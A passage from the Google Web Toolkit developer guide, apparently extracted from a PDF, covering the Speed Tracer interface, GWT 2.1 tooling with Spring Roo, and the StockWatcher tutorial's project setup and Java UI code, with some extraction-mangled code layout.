Page transition option menu Contains one menu item for each page transition. Use this menu to navigate between previous pages in the browsing session. Hint Report Displays a report showing all hints reported since the last page transition. Help Brings up a page of useful information about how to use Speed Tracer.
Timeline Graphs
General Navigation: Click on a graph to switch focus between Sluggishness and Network views in the detail table. Click and drag on the graph to zoom in on a portion of the timeline. Watch the following video to see how to zoom in and out on the data using the graphs. Sluggishness Graph Displays an indication of how responsive the user interface is at the specified time. Tall peaks in the graph indicate the browser is blocked for a significant amount of time.
Network Visualization Graph Displays an indication of how much network activity occured at the specified time. The graph displays the number of network connections concurrently in progress over time.
Hint Indicators These vertical green, orange and red lines on the graph hint where Speed Tracer has flagged a potential performance problem. Green Orange Red Current Event Callout When mclass="indent"oving the mouse over the Sluggishness detail view, it gives an indication of the position and duration of the event under the mouse. info (lowest priority hint) warning critical (highest priority hint)
31 / 469
Overview Graph
Displays both the Sluggishness and Network graphs for the entire range of data captured since the last page transition.
General Navigation: Click and drag one of the handles to expand or narrow the range of data currently being viewed. Click and drag the area between the handles to move the focus of the timeline graphs.
General Navigation Use the scrollbar to view all events in the selected region of the overview graph. Click on a row in the table to view details of the event. Hint column The first column can hold a colored icon that indicates a problem was flagged for the event. The color indicates the most severe problem encountered, and the number indicates the number of problems of the highest severity. Started column The time the event started relative to the start of the recording session in seconds. Duration column The length of the event in milliseconds. Type column Indicates the type of event that first triggered. The different types of events and their meaning are described in the Data Dump Format description. Note that child events might actually consume more time than the parent event indicated in this column. Filter Icon Clicking on the Filter icon will show the Filter panel.
32 / 469
Filter Panel You can set filter criteria to determine which events are suppressed in the Sluggishness Detail view. By default, events 3 milliseconds or less are suppressed, unless that event contains a log message or a hint.
Breakdown by Time Indicates the top three types of events that consume the most wall clock time during the execution of this event. This is not always the same as the parent event type. Sluggishness Event Detail (when expanded) Click on a row in the table to display the event detail. This reveals four new sections: Breakdown by Time (in the blue area), hints, Event Trace, and Details table.
General Navigation: Selecting an item in the Event Trace tree will update the Details table on the right. Breakdown by Time Chart Displays a full breakdown of how time was spent processing the top level event. The chart aggregates all events by type and displays a pie slice in proportion to the amount of time spent processing each type of event. Hint tree Displays all hint records encountered when analyzing this event. Event Trace tree Displays a hierarchical view of all events that fired during the duration of the top level event. To the left, a waterfall view of the amount of time each child event contributed is displayed. Selecting an event in the tree will display details of the child event in the Details table. Details table Provides further details for an event selected in the Event Trace.
33 / 469
General Navigation Selecting an row in the Detail View will expand the row to view the details of that event. Resource Type icon (first column) Displays an icon that gives an indication of what type of resource (image, stylesheet, script, document, ...) the network event represents.
Network Resource Name column (second column) Gives the short name and an abbreviated URL of the resource. Hovering over the URL or expanding the row will show the full URL.
Network "Pillbox" (third column) A graphic indication of when the resource was requested, when the transfer response began and when the request finished.
Network Resource Details Clicking on a horizontal bar reveals these network resource details, including a summary, request headers and response headers.
34 / 469
Hint Report
Displays all hints for the current page. Clicking on one of "All", "Rule", or "Severity changes the format of the report. Clicking on one of the column headers in the report changes the sort order. See Speed Tracer Hints.
35 / 469
2.4.
One of the main features of GWT 2.1 is the integration with SpringSource developer tools. This collaborative effort is focused on making it easy to develop rich web apps for business, bringing together GWT, Spring Roo, and SpringSource Tool Suite (STS). GWT 2.1 introduces a new set of cell widgets that were carefully designed to navigate large data sets efficiently, as well as an app framework that makes it simple to connect the new widgets to data from the cloud. This app framework also includes: Data bound views - With GWT 2.1's Data Editors, developers can create views that are generated from their app's data model. These views are completely customizable, and handle all of the nasty work of syncing change sets between the client and server. Highly optimized communication layer - The new communication layer, RequestFactory, aims to improve both developer and application effiency. It minimizes the payloads being sent between client and server in order to make RPCs as fast as possible, while adding new code generators that build this communication layer based on your app's data model and the backend services it exposes. For many apps, the developer simply needs to provide server-side find and persist methods in order to get things rolling. MVP support - For a while now, GWT developers have been using and advocating the MVP design pattern, and the Activities and Place support within GWT 2.1, are a set of components that formalize this pattern and the associated best practices, enabling efficient app navigation, history management, and view creation.
With Roo 1.1, you can create a functioning app from scratch in minutes with a few simple commands, and with all of the GWT tools the Google Plugin for Eclipse, Speed Tracer, and the GWT and App Engine SDKs directly available in STS, you have everything you need in a single development environment.
Bundled installer Download and install SpringSource Tool Suite bundled installer and dashboard mechanism, which includes STS, Roo, tc Server and Maven. For Mac users, we recommend the Cocoa build. At the last step of this installation, launch it by checking the "Launch SpringSource Tool Suite" checkbox and clicking "Finish". STS launches as follows:
Now that STS is installed, you have access to Roo. To install the Google developer tools, navigate to the 36 / 469
dashboard page. To install the GWT tools (including the SDK), you simply navigate to the Extensions tab at the bottom of the page. Once you've clicked on the Extensions tab (as in the screenshot below), you should see an option to install the Google Plugin for Eclipse (GPE). Select it and then click "Install". The next page also lets you install Google App Engine and Google Web Tookit SDK install them (unless using Maven, which will already have installed them).
or
$ ../bin/roo.sh # Mac or Linux
Roo offers a whole list of commands for building and maintaining apps (type "help" to see them). With the latest release there is a sample script, expenses.roo, that makes it easy to build a GWT-based web app. To run this, simply enter at the roo command line:
roo> script ../samples/expenses.roo
This command creates a sample Expense Tracking app (extrack) with all of the necessary source (src/) and configuration files (pom.xml) in the current directory "expenses". As with all Roo projects, you'll use Maven to manage dependencies next. First quit Roo.
37 / 469
Launch the app in your browser by clicking "Copy to Clipboard" and pasting that URL into your browser in this case http://127.0.0.1:8888/ApplicationScaffold.html?gwt.codesvr=127.0.0.1:9997.
38 / 469
This will import your project and all of its dependencies into STS, as well as applying the correct GWT and App Engine settings. The resulting project structure will look like the following.
39 / 469
Once imported you can now run your app directly from STS by right-clicking on the project and selecting the "Run As" -> "Web Application".
Flip back to your browser from step 3 and reload the application. With the app running, you can see the benefits of having these tools integrated. Let's say you want to start customizing the application by adding a "Mobile Number" field to the Employee data object. Typically this would require an update to the model, view, presenter/controller, and RPC layer. With GWT, Roo, and STS this becomes a simple change to the model, that is then propagated throughout your application by Roo, even when you're running in STS. To make a simple change to the application, first make sure your app is still running in the browser, then: a. Go to STS b. Choose "Window" -> "Show View" -> "Roo Shell" to watch the logged changes in the next step c. Open the Employee.java file in extrack/src/main/java, and add a mobileNumber field of type String. As soon as you save the file, in the Roo Shell you'll see Roo pick up the changes and update the related components in your app.
40 / 469
Now flip back to your browser. After reloading the app, you'll see the changes you just made. Roo picked up the change to your data model, propagated the changes throughout, and the Google Plugin for Eclipse compiled the resulting Java source into Javascript that is being run in the browser, and all you had to do was make a one line change. Tools handle all of the boilerplate code, letting you focus on bigger features and functionality.
41 / 469
3.
3.1. Tutorial Overview
Tutorials
These tutorials are intended for developers who wish to write rich AJAX applications using Google Web Toolkit. You might be a Java developer who would like to be able to apply the software engineering principles of object-oriented programming and leverage the tools in your Java IDE when writing applications for the web. Or you might be a JavaScript guru curious about GWT's ability to generate highly optimized JavaScript with permutations for multiple browsers. Although a knowledge of HTML, CSS, and Java is assumed, it is not required to run these tutorials.
You may also optionally do the following: Install the Google App Engine SDK. Google App Engine allows you to run Java web applications, including GWT applications, on Google's infrastructure. The App Engine SDK can be downloaded with the Google Plugin for Eclipse. Alternatively, download the App Engine SDK for Java separately. Create and run your first web application - A few, simple steps to familiarize you with the command line commands.
42 / 469
3.2.
Introduction
In this tutorial, you'll write this simple AJAX application, StockWatcher. Go ahead and try StockWatcher out. Add a few stock codes and see how it works. In the process of building StockWatcher, you'll learn how GWT provides the tools for you to: Write browser applications in Java using the Java IDE of your choice Debug Java in GWT development mode Cross-compile your Java code into highly optimized JavaScript Maintain one code base (Java) for multiple browser implementations (JavaScript)
2. Design the Application 3. Build the User Interface 4. Manage Events on the Client
Lay out the visual design and add user interface components. Handling mouse and keyboard events. Maintain one code base for multiple browser implementations. Leveraging your Java IDE's features such as refactoring and code completion. Debug the Java code before compiling it into JavaScript. Leverage your Java IDE's debugging tools by running the application in development mode.
Development Mode
7. Apply Style
Apply visual style to the application. Define the visual style in CSS. Set the class attributes on HTML elements programmatically. Change styles dynamically. Include static elements, such as image files.
GWT module GWT themes application style sheet GWT methods: addStyleName, addStyleDependentName, setStyleName automatic resource inclusion GWT compiler
Compile your client-side Java code into JavaScript. Test in production mode. Learn about the benefits of deferred binding.
43 / 469
3.2.1.
At this point, you've downloaded the most recent distribution of Google Web Toolkit. In this section, you'll create the StockWatcher project using either the Google Plugin for Eclipse or the GWT commandline utility webAppCreator. These utilities do the work of generating the project subdirectories and files you need to get started. To test that your project is configured correctly, you'll run the GWT starter application in development mode. Then you'll examine the project files that were created.
3.2.1.1.
-junit
moduleName
44 / 469
1. Create the StockWatcher application. At the command line, run webAppCreator. Enter the command below on a single line. (The example is shown on multiple lines only to improve readability.) Replace the junit.jar path name (highlighted in the example below) with the fully-qualified path name of junit.jar on your system.
WebAppCreator -out StockWatcher -junit "C:\eclipse\plugins\org.junit_3.8.2.v200706111738\junit.jar" com.google.gwt.sample.stockwatcher.StockWatcher
Note: The -junit argument is optional. If you do not have junit installed on your system or do not wish to use junit in your application, you can leave it out.
Tip: If you include the GWT command-line tools in your PATH environment variable, you won't have to invoke them by specifying their full path. 2. GWT webAppCreator generates the project subdirectories and files you need to get started.
Created directory StockWatcher/src Created directory StockWatcher/war Created directory StockWatcher/war/WEB-INF Created directory StockWatcher/war/WEB-INF/lib Created directory StockWatcher/src/com/google/gwt/sample/stockwatcher Created directory StockWatcher/src/com/google/gwt/sample/stockwatcher/client Created directory StockWatcher/src/com/google/gwt/sample/stockwatcher/server Created directory StockWatcher/test/com/google/gwt/sample/stockwatcher/client Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/StockWatcher.gwt.xml Created file StockWatcher/war/StockWatcher.html Created file StockWatcher/war/StockWatcher.css Created file StockWatcher/war/WEB-INF/web.xml Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/client/StockWatcher.java Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/client/GreetingService.java Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/client/GreetingServiceAsync.java Created file StockWatcher/src/com/google/gwt/sample/stockwatcher/server/GreetingServiceImpl.java Created file StockWatcher/build.xml Created file StockWatcher/README.txt Created file StockWatcher/test/com/google/gwt/sample/stockwatcher/client/StockWatcherTest.java Created file StockWatcher/.project Created file StockWatcher/.classpath Created file StockWatcher/StockWatcher.launch Created file StockWatcher/StockWatcherTest-dev.launch Created file StockWatcher/StockWatcherTest-prod.launch Created file StockWatcher/war/WEB-INF/lib/gwt-servlet.jar
Directories Created
/src/com/google/gwt/sample/stockwatcher Contains the GWT module definition and initial application files. /test/com/google/gwt/sample/stockwatcher Contains JUnit test directory and a starter test class. /war Contains static resources that can be served publicly, such as image files, style sheets, and HTML host pages. /war/WEB-INF Contains Java web application files. /war/WEB-INF/lib Contains Java web application libraries.
Starting with GWT 1.6, static files have been moved to /war.
45 / 469
Files Created
StockWatcher.gwt.xml GWT module definition StockWatcher.html host page StockWatcher.css application style sheet web.xml Java web application descriptor StockWatcher.java GWT entry point class GreetingService.java, GreetingServiceAsync.java, GreetingServiceImpl.java GWT sample RPC classes gwt-servlet.jar GWT server runtime library StockWatcherTest.java Starter test case for StockWatcher
Scripts Created
build.xml Ant build file for running the application in development mode or for invoking the GWT compiler from the command line.
StockWatcherTest-prod.launch To see the complete list of options for webAppCreator, see Command-line Tools, webAppCreator. For more information on project structure, see the Developer's Guide, Directory/Package Conventions.
3.2.1.2.
To check that all the project components were created, run the starter application in development mode. In development mode, you can interact with the application in a browser just as you would when it's eventually deployed.
46 / 469
Tip: If you include the Ant command-line tools in your PATH environment variable, you won't have to invoke them by specifying their full path. Development mode opens with two tabs: the development mode code server and the Jetty HTTP server. Press the "Launch Default Browser" button to launch StockWatcher in development mode using your default browser. Or, you can click "Copy to Clipboard" to copy the launch URL and paste it into the browser of your choice.
47 / 469
Connecting to the development mode code server (with and without Eclipse)
Once you have started the development mode (from Eclipse or using the build.xml script) and entered the URL into the browser, the browser will attempt to connect. If this is your first time running a GWT application in development mode, you may be prompted to install the Google Web Toolkit Developer Plugin. Follow the instructions on the page to install the plugin, then restart the browser and return to the same URL.
Starter Application
When you create a new web application with GWT, by default it creates a simple, starter application as shown below. This application helps you test that all the components are installed and configured before you start development. When you start writing the StockWatcher application, you'll replace this starter application code with your own.
48 / 469
3.2.1.3.
Let's examine some of the generated files and see how they fit together to form your GWT project.
<!-- Specify the app entry point class. --> <entry-point class='com.google.gwt.sample.stockwatcher.client.StockWatcher'/> <!-- Specify the paths for translatable code <source path='client'/> </module> -->
In the module XML file, you specify your application's entry point class. In order to compile, a GWT module must specify an entry point. If a GWT module has no entry point, then it can only be inherited by other modules. It is possible to include other modules that have entry points specified in their module XML files. If so, then your module would have multiple entry points. Each entry point is executed in sequence. By default, StockWatcher uses two style sheets: the default GWT style sheet, standard.css (which is referenced via the inherited theme), and the application style sheet, StockWatcher.css which was generated by webAppCreator. Later in this tutorial, you'll learn how to override the default GWT styles.
49 / 469
50 / 469
3.2.2.
At this point, you've created the stub files you need to start coding StockWatcher. In this section, you'll review the functional requirements and design the user interface.
3.2.2.1.
Initially you want the StockWatcher application to do six things. Provide users with the ability to add stocks. (Supply simple validation on input for illegal characters or existing stock.) Display the following information for each stock: symbol, price, change since last refresh. Provide users with the ability to delete a stock from the list. Refresh the stock price. Calculate the change since the last refresh as both a number and a percentage. Display a timestamp indicating the last update.
3.2.2.2.
After studying StockWatcher's functional requirements, you decide you need these UI elements: a table to hold the stock data two buttons, one to add stocks and one to remove them an input box to enter the stock code a timestamp to show the time and date of the last refresh a logo a header colors to indicate whether the change in price was positive or negative
51 / 469
3.2.3.
At this point, you've created the components of the StockWatcher project and reviewed its functional requirements and UI design. In this section, you'll build the user interface out of GWT widgets and panels. 1. 2. 3. 4. 5. Select the GWT widgets needed to implement the UI elements. Select the GWT panels needed to lay out the UI elements. Embed the application in the host page, StockWatcher.html. Implement the widgets and panels in StockWatcher.java. Test the layout in development mode.
GWT shields you from worrying too much about cross-browser incompatibilities. If you construct the interface with GWT widgets and composites, your application will work on the most recent versions of Chrome, Firefox, Internet Explorer, Opera, and Safari. However, DHTML user interfaces remain remarkably quirky; therefore, you still must test your applications thoroughly on every browser.
3.2.3.1.
First, look at the Widget Gallery and select the GWT widget for each UI element. In the Widget Gallery the widgets have a default style and so they don't look exactly as they will in the final implementation of StockWatcher. Don't worry about that now. First you'll focus on getting the widgets working. Later, you will change their appearance with CSS in the Applying Syles section.
Buttons
Whenever possible, GWT defers to a browser's native user interface elements. For instance, a Button widget becomes a true HTML <button> rather than a synthetic button-like widget that's built, for example, from a <div>. This means that GWT buttons render as designed by the browser and client operating system. The benefit of using native browser controls is that they are fast, accessible, and most familiar to users. Also, they can be styled with CSS.
Input Box
GWT provides several widgets to create fields that users can type in: TextBox widget, a single-line text box PassWordTextBox widget, a text box that visually masks input TextArea widget, a multi-line text box
SuggestBox, a text box that displays a pre-configured set of items StockWatcher users will type in a stock code which is single line of text; therefore, implement a TextBox widget.
52 / 469
Label
In contrast with the Button widget, the Label widget does not map to the HTML <label> element, used in HTML forms. Instead it maps to a <div> element that contains arbitrary text that is not interpreted as HTML. As a <div> element, it is a block-level element rather than an inline element.
<div class="gwt-Label">Last update : Oct 1, 2008 1:31:48 PM</div>
If you're interested in taking a peek at the API reference for the GWT widgets you'll use to build the StockWatcher interface, click on the links in the table below. UI element a table to hold the stock data two buttons, one to add stocks and one to remove them an input box to enter the stock code a timestamp to show the time and date of the last refresh a logo a header colors to indicate whether the change in price was positive or negative GWT implementation FlexTable widget Button widget TextBox widget Label widget image file referenced from HTML host page static HTML in HTML host page dynamic CSS
In Depth: If you don't find a widget that meets the functional requirements of your application, you can create your own. For details on creating composite widgets or widgets from scratch using Java or JavaScript, see the Developer's Guide, Creating Custom Widgets.
3.2.3.2.
Now that you know what widgets you'll use, you'll decide how to lay them out using GWT panels. GWT provides several types of panels to manage the layout. Panels can be nested within other panels. This is analogous to laying out your web page in HTML using nested div elements or tables. For StockWatcher, you'll use a horizontal panel nested within a vertical panel.
Horizontal Panel
The two elements used to add a stockthe input box for typing in a new stock symbol and the Add buttonare closely related functionally and you want keep them together visually. To lay them out side-by-side, you'll put the TextBox widget and a Button widget in a horizontal panel. In the Java code, you'll create a new instance of HorizontalPanel and name it addPanel.
53 / 469
Vertical Panel
You want to lay out the remaining elements vertically: the FlexTable widget for the stock table the Add Stock panel, which contains the input box and Add button the Label widget for the timestamp
You'll do this with a vertical panel. In the Java code, you'll create a new instance of VerticalPanel and name it mainPanel.
Root Panel
There is one more panel you need that is not visible in the user interface: a Root panel. A Root panel is the container for the dynamic elements of your application. It is at the top of any GWT user interface hierarchy. There are two ways you can use a Root panel, either to generate the entire body of the page or to generate specific elements embedded in the body. The Root panel works by wrapping the <body> or other element in the HTML host page. By default (that is, if you don't add any placeholders in the host page) the Root panel wraps the <body> element. However, you can wrap any element if you give it an id and then, when you call the Root panel, pass the id as a parameter. You'll see how this works in the next two sections when you do it for StockWatcher.
RootPanel.get() RootPanel.get("stockList") // Default. Wraps the HTML body element. // Wraps any HTML element with an id of "stockList"
A host page can contain multiple Root panels. For example, if you're embedding multiple GWT widgets or panels into a host page, each one can be implemented independently of the others, wrapped in its own Root panel.
3.2.3.3.
To get the StockWatcher application to run in the browser, you need to embed it in an HTML file, the HTML host page. The host page for the StockWatcher project, StockWatcher.html, was generated by webAppCreator. For the starter application, StockWatcher.html had an empty body element. As a result, the Root panel wrapped the entire body element. The text input box, label ("Please enter your name:") and "Send" button were build dynamically with GWT. If your application has no static elements, you wouldn't need to edit the HTML host page at all. However, for StockWatcher you will use some static HTML text (for the header) and an image (for the logo) in addition to the dynamic elements. You will embed the GWT application in the browser page using a placeholder, a <div> element with an id of "stockList". This implementation strategy is especially useful for embedding GWT into an existing application. As shown in the following code, do the following: 1. Open the host page, StockWatcher/war/StockWatcher.html. 2. 3. 4. 5. 6. In the head element, change the title text to StockWatcher. In the body element, add an <h1> heading, StockWatcher. In the body element, add a <div> element and give it an id of stockList. Delete the unneeded elements from the starter project application. Save the file StockWatcher.html.
54 / 469
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link type="text/css" rel="stylesheet" href="StockWatcher.css"> <title>StockWatcher</title> <script type="text/javascript" language="javascript" src="stockwatcher/stockwatcher.nocache.js"></script> </head> <body> <h1>StockWatcher</h1> <div id="stockList"></div> <iframe src="javascript:''" id="__gwt_historyFrame" tabIndex='-1' style="position:absolute;width:0;height:0;border:0"></iframe> <noscript> <div style="width: 22em; position: absolute; left: 50%; margin-left: -11em; color: red; background-color: white; border: 1px solid red; padding: 4px; font-family: sans-serif"> Your web browser must have JavaScript enabled in order for this application to display correctly. </div> </noscript> <h1>Web Application Starter Project</h1> <table align="center"> <tr> <td colspan="2" style="font-weight:bold;">Please enter your name:</td> </tr> <tr> <td id="nameFieldContainer"></td> <td id="sendButtonContainer"></td> </tr> </table> </body> </html>
3.2.3.4.
Next you will construct the user interface from GWT widgets and panels. You want the UI to display as soon as StockWatcher starts up, so you'll implement them in the onModuleLoad method. In this section, you will: 1. Instantiate each widget and panel. 2. Create the table that holds the stock data. 3. Lay out the widgets using the Add Stock (horizontal) panel and the Main (vertical) panel. 4. Associate the Main panel with the Root panel. 5. Move the cursor focus to the input box. You can follow this section of the tutorial step-by-step, or you can cut and paste the entire block of code from the Summary at the end.
55 / 469
package com.google.gwt.sample.stockwatcher.client; public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
/** * Entry point method. */ public void onModuleLoad() { // TODO Create table for stock data. // TODO Assemble Add Stock panel. // TODO Assemble Main panel. // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } }
Along the left edge, Eclipse flags the variable definitions with a red "x" because their types are undefined. Tip: One way you can leverage Eclipse is to use its "suggest" feature to add the required import declarations, as follows. 2. Display suggested corrections by clicking on the first red "x". Select "import EntryPoint (com.google.gwt.core.client.EntryPoint)" by pressing return. 3. Resolve all the other errors by declaring the import declarations in the same way. If you are not using Eclipse, cut and paste from the highlighted code below.
package com.google.gwt.sample.stockwatcher.client; import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;
public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
/** * Entry point method. */ public void onModuleLoad() { // TODO Create table for stock data. // TODO Assemble Add Stock panel. // TODO Assemble Main panel. // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } }
package com.google.gwt.sample.stockwatcher.client; import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;
public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // // // // TODO TODO TODO TODO Assemble Add Stock panel. Assemble Main panel. Associate the Main panel with the HTML host page. Move cursor focus to the input box.
} }
You can see that adding to a table can be accomplished with a call to the setText method. The first parameter indicates the row, the second the column, and the final parameter is the text that will be displayed in the table cell.
57 / 469
package com.google.gwt.sample.stockwatcher.client; import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;
public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } }
58 / 469
public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // TODO Move cursor focus to the input box. } }
Eclipse flags RootPanel and suggests the correct import declaration. 2. Include the import declaration.
import com.google.gwt.user.client.ui.RootPanel;
59 / 469
public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // Move cursor focus to the input box. newSymbolTextBox.setFocus(true); } }
60 / 469
Summary
Here's what you've done to this point.
package com.google.gwt.sample.stockwatcher.client; import import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.RootPanel; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;
public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // Move cursor focus to the input box. newSymbolTextBox.setFocus(true); } }
61 / 469
3.2.3.5.
One benefit of using GWT in your AJAX application development is that you can see the effects of your code changes as soon as you refresh the browser running development mode. So that you can see your changes whether you are developing or debugging, in Eclipse, run StockWatcher in debug mode. Then you'll be able to switch between Java and Debug perspectives without having to relaunch StockWatcher. 1. Save the edited file: Save StockWatcher.java 2. If the StockWatcher project is still running from the startup application, stop it by going to the Development Mode tab an clicking on the red square in its upper right corner, whose tooltip says "Terminate Selected Launch", and then the gray "XX" to its right, whose tooltip says "Remove All Terminated Launches". It may take a minute for it to complete, before you can do the next step. 3. Launch StockWatcher in development mode. From the Eclipse menu bar, select Run > Debug As > Web Application If you are not using Eclipse, from the command line enter ant devmode 4. The browser displays your first iteration of the StockWatcher application. The button will not work until we later implement it.
StockWatcher displays the header of the flex table, the input box, and the Add button. You haven't yet set the text for the Label, so it isn't displayed. You'll do that after you've implemented the stock refresh mechanism. 5. Leave StockWatcher running in development mode. In the rest of this tutorial, you'll frequently be testing changes in development mode.
62 / 469
3.2.4.
At this point, you've created all the elements of the interface. Like many user interface frameworks, GWT is event-based. This means that the code executes in response to some event occurring. Most often, that event is triggered by the user, who uses the mouse or keyboard to interact with the application interface. In this section, you'll wire up your widgets to listen for and handle mouse and keyboard events. 1. 2. 3. 4. Review the functional requirements. Listen for events. Respond to events. Test event handling.
3.2.4.1.
Let's review the StockWatcher requirements to see what events occur. Task UI Event (Trigger mechanism) Response Verify input. Check if stock already exists. Add a new row. Create a delete button. Remove row from table.
GWT provides a number of different event handler interfaces. To handle click events on the Add and Remove buttons, you'll use the ClickHandler interface. To handle keyboard events in the input box, you'll use the KeyPressHandler interface. Starting with GWT 1.6, the ClickHandler, KeyDownHandler, KeyPressHandler, and KeyUpHandler interfaces have replaced the now deprecated ClickListener and KeyBoardListener interfaces.
3.2.4.2.
63 / 469
Note: Depending on your Eclipse configuration, it might create the addStock method with an access modifier of protected. You aren't going to subclass StockWatcher, so later when you implement the addStock method, you'll change its access to private.
package com.google.gwt.sample.stockwatcher.client; import import import import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.event.dom.client.ClickEvent; com.google.gwt.event.dom.client.ClickHandler; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.RootPanel; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;
public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();
